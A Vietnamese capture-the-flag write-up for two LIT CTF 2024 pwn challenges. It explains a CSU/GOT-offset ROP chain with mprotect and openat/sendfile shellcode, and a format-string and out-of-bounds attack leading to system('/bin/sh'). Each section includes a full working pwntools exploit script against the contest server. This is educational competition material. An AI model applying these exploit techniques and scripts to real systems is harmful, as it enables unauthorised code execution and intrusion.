# (writeup) LIT CTF 2024 - skip mấy chall đầu =)) ## w4dup 2de - basic file check ![image](https://hackmd.io/_uploads/BJ6i7kKc0.png) - seccomp ![image](https://hackmd.io/_uploads/SkOFmyYqC.png) - check ida ![image](https://hackmd.io/_uploads/r1R4Q1Y9C.png) ### analyse - PIE tĩnh, file chỉ có 1 hàm ---> ret2dlresolved - có thể dùng tool python để generate dlresolve nhưng hên xui lắm - ở đây sẽ chơi "fong kách" khác - kết hợp csu với lại resolve ![image](https://hackmd.io/_uploads/BkJPV1FqC.png) ![image](https://hackmd.io/_uploads/Ski2EJt90.png) - chỉ cần $rbp mình là got đến libc với $ebx là offset, sẽ tuỳ ý có được địa chỉ libc mình muốn mà không cần leak - có sẵn gadget $rdi và $rsi, bị filter execve nên system hay one_gadget là không thể --> ret2shellcode ![image](https://hackmd.io/_uploads/SkoeUJKcR.png) ![image](https://hackmd.io/_uploads/HkLH8yt5C.png) - flow như script là: pop_rdx (change size) -> sys_ret (call read for payload 2) -> pop_rax (0xa) -> pop_rdx (0x7) -> sys_ret (call mprotect) -> pop_rax (0) -> pop_rdx (change size) -> sys_ret (call read shellcode) -> pop_rax (shell_addr) -> jmp_rax - shellcode là openat và sendfile, với "flag.txt" là địa chỉ tương đối > không xài ORW được vì seccomp nó xét fd phải = 0 khi read - hơi dài =))) (hoặc dùng tool Ret2dlresolved luôn cũng dịu) ### getflag ![image](https://hackmd.io/_uploads/Byv0m1t5C.png) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('./main_patched', checksec=False) libc = ELF('./libc-2.31.so', checksec=False) context.binary = exe context.arch = 'amd64' info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+39 b*main+59 c ''') input() if args.REMOTE: p = remote('litctf.org',31771) else: p = process(exe.path) GDB() csu = 0x00000000004013ca pop_rdi = 0x00000000004013d3 pop_rsi_r15 = 0x00000000004013d1 rw_section = 0x404a00 pop_rdx_r12 = 0x119431 off_to_pop_rdx_r12 = pop_rdx_r12 - libc.sym.read #1 syscall_ret = 0x13a7cb off_to_syscall_ret = syscall_ret - pop_rdx_r12 #2 pop_rax = 0x36174 off_to_pop_rax = pop_rax - 0x13a7cb #3 jmp_rax = 0x000000000040110c call_rax = 0x0000000000401014 add = 0x000000000040117c #add dword ptr [rbp - 0x3d], ebx ; nop ; ret pop_rbp =0x000000000040117d leave_ret = 0x000000000040132d shellcode = shellcraft.openat(-100, 'flag.txt', 0) shellcode += shellcraft.sendfile(1,'rax',0,0x80) payload = b'a'*8*5 payload += p64(csu) payload += p64(off_to_pop_rdx_r12,sign=True) #rbx payload += p64(exe.got.read+0x3d) #rbp payload += p64(0)*4 #r12-r15 payload += p64(add) payload += p64(exe.sym.read) + p64(0x800) + p64(0) #pop_rdx_r12 payload += p64(pop_rsi_r15) + p64(rw_section) + p64(0) #pop rsi r15 payload += p64(csu) payload += p64(off_to_syscall_ret,sign=True) #rbx payload += p64(exe.got.read+0x3d) #rbp payload += p64(0)*4 #r12-r15 payload += p64(add) payload += p64(exe.sym.read) #syscall_ret #call read part2 payload += p64(pop_rbp) + p64(rw_section-8) #pop rbp payload += p64(leave_ret) #leave_ret s(payload) off_to_syscall_ret_1 = syscall_ret - pop_rax off_to_pop_rax_2 = pop_rax - syscall_ret off_to_pop_rdx_r12 = pop_rdx_r12 - pop_rax off_to_syscall_ret_2 = syscall_ret - pop_rdx_r12 off_to_pop_rax_3 = pop_rax - syscall_ret payload = p64(csu) payload += p64(off_to_pop_rax,sign=True) #rbx payload += p64(exe.got.read+0x3d) #rbp payload += p64(0)*4 #r12-r15 payload += p64(add) payload += p64(exe.sym.read) + p64(0) payload += p64(csu) payload += p64(off_to_syscall_ret_1,sign=True) #rbx payload += p64(exe.got.read+0x3d) #rbp payload += p64(0)*4 #r12-r15 payload += p64(add) payload += p64(pop_rsi_r15) + p64(rw_section + 0x400) + p64(0) payload += p64(exe.sym.read) #syscall_ret #call read shellcode in rw_section+0x400 payload += p64(csu) payload += p64(off_to_pop_rax_2,sign=True) #rbx payload += p64(exe.got.read+0x3d) #rbp payload += p64(0)*4 #r12-r15 payload += p64(add) payload += p64(exe.sym.read) + p64(0xa) #rax=0xa payload += p64(csu) payload += p64(off_to_pop_rdx_r12,sign=True) #rbx payload += p64(exe.got.read+0x3d) #rbp payload += p64(0)*4 #r12-r15 payload += p64(add) payload += p64(exe.sym.read) + p64(0x7) + p64(0) #rdx=7 payload += p64(csu) payload += p64(off_to_syscall_ret_2,sign=True) #rbx payload += p64(exe.got.read+0x3d) #rbp payload += p64(0)*4 #r12-r15 payload += p64(add) payload += p64(pop_rdi) + p64(0x404000) payload += p64(pop_rsi_r15) + p64(0x1000) + p64(0) payload += p64(exe.sym.read) #syscall_ret #call mprotect payload += p64(csu) payload += p64(off_to_pop_rax_3,sign=True) #rbx payload += p64(exe.got.read+0x3d) #rbp payload += p64(0)*4 #r12-r15 payload += p64(add) payload += p64(exe.sym.read) + p64(rw_section + 0x400) # payload += p64(jmp_rax) payload += p64(call_rax) s(payload) sleep(2) sl(asm(shellcode)) p.interactive() #LITCTF{dup_dup_dup_duuuuuuuuuup_222222} ``` ## How to Raise a Boring Vuln Flat - basic file check ![image](https://hackmd.io/_uploads/HJEodlt90.png) - check ida ![image](https://hackmd.io/_uploads/rkjHVWKqR.png) ### analyse - BUG khá rõ là OOB ![image](https://hackmd.io/_uploads/H1N5B-YcC.png) ![image](https://hackmd.io/_uploads/H1wiBZFc0.png) - ở đây sẽ tận dụng 1 là got@**printf** để fmtstr, 2 là dùng got@**scanf** để làm được nhiều thứ hơn - với index ``-7``, là ``-8 = -7 -1`` trỏ got@**scanf**, ta có thể khiến **qsort()** đó thực hiện plt@**scanf** nhiều lần ứng với số **nums** ta nhập từ đầu ---> arbitrary write - và để leak libc chỉ còn cách fmtstr ``%X$s`` với `X` là offset trên stack đến `_IO_2_1_stdout` ![image](https://hackmd.io/_uploads/SJFpNYysA.png) >payload : ``b"%171" + b" " + b"$s\0\0" + b" "``(convert về int -> u32) - Ta ow _flags đến write_base với write_ptr - leak xong sẽ end ---> tận dụng lần nhập **scanf** tiếp theo ow ret của **scanf** thành `_start` (brute 1 byte--> chance 1/16) ![image](https://hackmd.io/_uploads/r1zertJoR.png) >main+314: call qsort >return: main+319 - nhưng vấn đề là chain tương tự như z thì bị lỗi trong quá trình **qsort()** >lấy số này đắp số kia, bị nối chuỗi, %s ở stack k phải là 1 địa chỉ khác, ... - nên sẽ chain đệm thêm fmtstr không gây ảnh hưởng gì ("$s") > `b"$s\0\0" + b" "` - gọi fmtstr ow stdout là A, fmtstr ow ret là B - ban đầu A + đệm + B bị fail - nhưng chèn như thế sẽ bị thay đổi offset, DEBUG nhiều lần và thấy để đệm "$s" đầu tiên thì lại smooth (đệm + A + B) nên tính offset lại: ![image](https://hackmd.io/_uploads/B1Ll15kjA.png) ![image](https://hackmd.io/_uploads/rkMgg51oR.png) - nên lấy stack trước ret value để ow hơn 8 byte, cụ thể là 10 byte cho 2 byte ow brute --> "$10c" (take exactly 10 byte) - nhưng trong quá trình debug thì thấy tồn tại 1 byte "\n" từ trước nên chỉ padding 7 byte rồi 2 byte ow - sau khi loop, ta tiếp tục fmtstr scanf để chain ROP ![image](https://hackmd.io/_uploads/B1vSgqJsA.png) - local with parameter NOASLR ![image](https://hackmd.io/_uploads/rJc9mQ6qR.png) ### getflag - 2 bytes ow (brute 1/16) lấy mẫu cho NOASLR làm cho REMOTE vẫn được ![image](https://hackmd.io/_uploads/SkgzQQT50.png) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('./bflat_patched', checksec=False) libc = ELF('./libc.so.6', checksec=False) context.binary = exe def GDB(p): if not args.REMOTE: gdb.attach(p, gdbscript=''' set solib-search-path /home/hlaan/ctf/litctf/vuln_flat/ b*main+314 b*msort_with_tmp+390 c b*$rcx ''') input() bstr = lambda x: str(x).encode() def conn(): if args.REMOTE: return remote('litctf.org',31775) else: return process(exe.path) def main(): info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) p = conn() GDB(p) sla(b"ints?\n",b'5') payload = bstr(u32(b"$s\0\0")) + b" " payload += bstr(u32(b"%157")) + b" " payload += bstr(u32(b"$s\0\0")) + b" " payload += bstr(u32(b"%46$")) + b" " payload += bstr(u32(b"10c\0")) + b" " sla(b"space):\n",payload) sla(b"reverse):\n",b"-7") stdout = p64(0xfbad1807)+p64(0)*3 #auto append null bytes due to newline payload = b"A"*7 + b"\x20\x51" #brute #$s sl(payload) #32$10c #$s #$s sl(stdout) #%157$s sl(stdout) #%157$s sl(stdout) #%157$s p.recvuntil(b"\xe0") libc.address = u64(b"\xe0"+p.recv(7)) - libc.sym._IO_2_1_stdin_ info("libc leak: " + hex(libc.address)) sl(b'2') payload = bstr(u32(b"%18$")) + b" " payload += bstr(u32(b"s\0\0\0")) + b" " sl(payload) sl(b"-7") rop = ROP(libc) payload = b'A'*8 payload += p64(rop.rdi.address) + p64(next(libc.search(b"/bin/sh\0"))) payload += p64(rop.ret.address) payload += p64(libc.sym.system) sl(payload) p.interactive() if __name__ == "__main__": while True: try: main() except Exception as e: print(e) continue #LITCTF{0hh_1_l1k3_d0ck3r5_w17h_r007_pr1v1l3g3s} ```